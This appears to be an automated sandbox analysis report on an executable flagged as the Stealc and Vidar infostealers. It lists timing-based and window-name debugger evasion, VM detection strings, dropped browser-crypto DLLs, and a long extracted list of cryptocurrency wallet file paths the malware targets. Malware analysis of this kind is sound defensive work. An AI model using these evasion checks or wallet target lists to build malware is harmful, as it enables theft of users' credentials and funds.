Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD079B second address: 4CD07A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD07A1 second address: 4CD07CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0810EDB12h 0x00000009 jmp 00007FD0810EDB15h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD07CF second address: 4CD07EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, edx 0x00000009 jmp 00007FD080DDA65Ch 0x0000000e shr ecx, 02h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov eax, ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD07EC second address: 4CD082B instructions: 0x00000000 rdtsc 0x00000002 call 00007FD0810EDB0Fh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 jmp 00007FD0810EDB0Fh 0x0000001a mov ecx, edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD0810EDB15h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD082B second address: 4CD084C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, DBh 0x00000011 movzx eax, dx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD084C second address: 4CD0874 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD0810EDB0Ch 0x00000008 pop ecx 0x00000009 push edi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rep movsb 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov cl, 4Ah 0x00000015 jmp 00007FD0810EDB0Bh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0874 second address: 4CD08AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000010 jmp 00007FD080DDA65Eh 0x00000015 mov eax, ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD08AE second address: 4CD08B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD08B2 second address: 4CD08CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD08CF second address: 4CD0934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD0810EDB17h 0x00000009 jmp 00007FD0810EDB13h 0x0000000e popfd 0x0000000f call 00007FD0810EDB18h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ecx, dword ptr [ebp-10h] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD0810EDB13h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0934 second address: 4CD0951 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0951 second address: 4CD0975 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop esi 0x00000015 push edx 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0975 second address: 4CD09EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a pushad 0x0000000b mov eax, 2DFDB35Dh 0x00000010 mov si, 2859h 0x00000014 popad 0x00000015 pop edi 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FD080DDA662h 0x0000001d jmp 00007FD080DDA665h 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007FD080DDA660h 0x00000029 add ecx, 6540E148h 0x0000002f jmp 00007FD080DDA65Bh 0x00000034 popfd 0x00000035 popad 0x00000036 pop esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD09EB second address: 4CD09EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD09EF second address: 4CD09F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD09F5 second address: 4CD09FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD09FB second address: 4CD09FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD09FF second address: 4CD0A21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0810EDB17h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0A21 second address: 4CD0A27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0A27 second address: 4CD0491 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 jmp 00007FD0810EDB17h 0x0000000e retn 0008h 0x00000011 cmp dword ptr [ebp-2Ch], 10h 0x00000015 mov eax, dword ptr [ebp-40h] 0x00000018 jnc 00007FD0810EDB05h 0x0000001a push eax 0x0000001b lea edx, dword ptr [ebp-00000590h] 0x00000021 push edx 0x00000022 call esi 0x00000024 push 00000008h 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0AE7 second address: 4CD0AED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0AED second address: 4CD0AF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0AF1 second address: 4CD0B08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0B08 second address: 4CD0B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, cx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0B10 second address: 4CD0B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 4CD0B16 second address: 4CD0B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\7KVoLQr.exe	Special instruction interceptor: First address: 56FA2B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7KVoLQr.exe	Special instruction interceptor: First address: 6414B9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7KVoLQr.exe	Special instruction interceptor: First address: 63FAC3 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\7KVoLQr.exe	Special instruction interceptor: First address: 6B8507 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\7KVoLQr.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\7KVoLQr.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\7KVoLQr.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7116	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7112	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 6444	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7092	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7096	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7096	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7068	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7164	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7064	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe TID: 7040	Thread sleep time: -48024s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC1C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CC1C930

Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: 7KVoLQr.exe, 7KVoLQr.exe, 00000000.00000002.1505618443.0000000000625000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: DAECGCGH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: DAECGCGH.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: DAECGCGH.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware8
Source: DAECGCGH.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E35000.00000004.00000020.00020000.00000000.sdmp, 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: DAECGCGH.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: DAECGCGH.0.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: DAECGCGH.0.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: DAECGCGH.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: DAECGCGH.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: DAECGCGH.0.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: DAECGCGH.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: DAECGCGH.0.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 7KVoLQr.exe, 00000000.00000002.1506156145.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DAECGCGH.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: DAECGCGH.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: DAECGCGH.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: 7KVoLQr.exe, 00000000.00000002.1505618443.0000000000625000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: DAECGCGH.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: DAECGCGH.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: DAECGCGH.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: DAECGCGH.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\7KVoLQr.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\7KVoLQr.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\7KVoLQr.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: NTICE
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: SICE
Source: C:\Users\user\Desktop\7KVoLQr.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\7KVoLQr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC65FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CC65FF0

Source: C:\Users\user\Desktop\7KVoLQr.exe

0_2_6CC03480

Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC3B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CC3B66C
Source: C:\Users\user\Desktop\7KVoLQr.exe	Code function: 0_2_6CC3B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CC3B1F7

Source: C:\Users\user\Desktop\7KVoLQr.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 7KVoLQr.exe PID: 6972, type: MEMORYSTR

Source: 7KVoLQr.exe, 00000000.00000002.1505618443.0000000000625000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 0Program Manager
Source: 7KVoLQr.exe	Binary or memory string: S0Program Manager

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC3B341 cpuid

0_2_6CC3B341

Source: C:\Users\user\Desktop\7KVoLQr.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\7KVoLQr.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\7KVoLQr.exe

Code function: 0_2_6CC035A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CC035A0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1505216195.0000000000321000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.991824483.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1506156145.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7KVoLQr.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7KVoLQr.exe PID: 6972, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 7KVoLQr.exe, 00000000.00000002.1505216195.00000000003D5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: 7KVoLQr.exe, 00000000.00000002.1511728028.000000000B720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda 